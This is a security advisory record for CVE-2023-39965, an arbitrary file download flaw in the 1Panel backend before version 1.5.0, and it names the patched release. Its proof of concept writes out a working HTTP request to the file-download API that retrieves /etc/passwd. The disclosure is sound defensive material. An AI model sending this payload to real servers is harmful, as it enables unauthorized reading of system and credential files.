---
id: CVE-2023-39965
aliases:
  - GHSA-85cf-gj29-f555
  - GO-2023-2005
title: 1Panel Arbitrary File Download vulnerability
summary: 1Panel Arbitrary File Download vulnerability
severity: medium
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L'
vendor: 1Panel-dev
product: github.com/1Panel-dev/1Panel
ecosystem: go
affected:
  - 'github.com/1Panel-dev/1Panel >= 1.4.3, < 1.5.0'
patched:
  - github.com/1Panel-dev/1Panel 1.5.0
published: '2023-08-10'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:49:57.566163225Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-85cf-gj29-f555'
references:
  - url: >-
      https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-85cf-gj29-f555
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2023-39965'
  - url: 'https://github.com/1Panel-dev/1Panel'
  - url: 'https://github.com/1Panel-dev/1Panel/releases/tag/v1.5.0'
tags:
  - osv
  - go
epss: 0.00441
epssPercentile: 0.35699
ingestedAt: '2026-09-12T03:13:01.766Z'
---

## Overview

### Summary
Any file downloading vulnerability exists in 1Panel backend.

### Details
Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.
![image](https://user-images.githubusercontent.com/116613486/257246024-d0e35800-5fd8-4907-8b1b-504afaad859e.png)

### PoC
payload:

POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json

{"path":"/etc/passwd"}

![f77959349e96543436eea18283fa75c](https://user-images.githubusercontent.com/116613486/257245459-13f2f31b-fcfe-4a27-ba52-e2f1e5d4d749.png)


### Impact
Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.


## Affected packages

- `github.com/1Panel-dev/1Panel >= 1.4.3, < 1.5.0`

## Remediation

Upgrade to a patched release:

- `github.com/1Panel-dev/1Panel 1.5.0`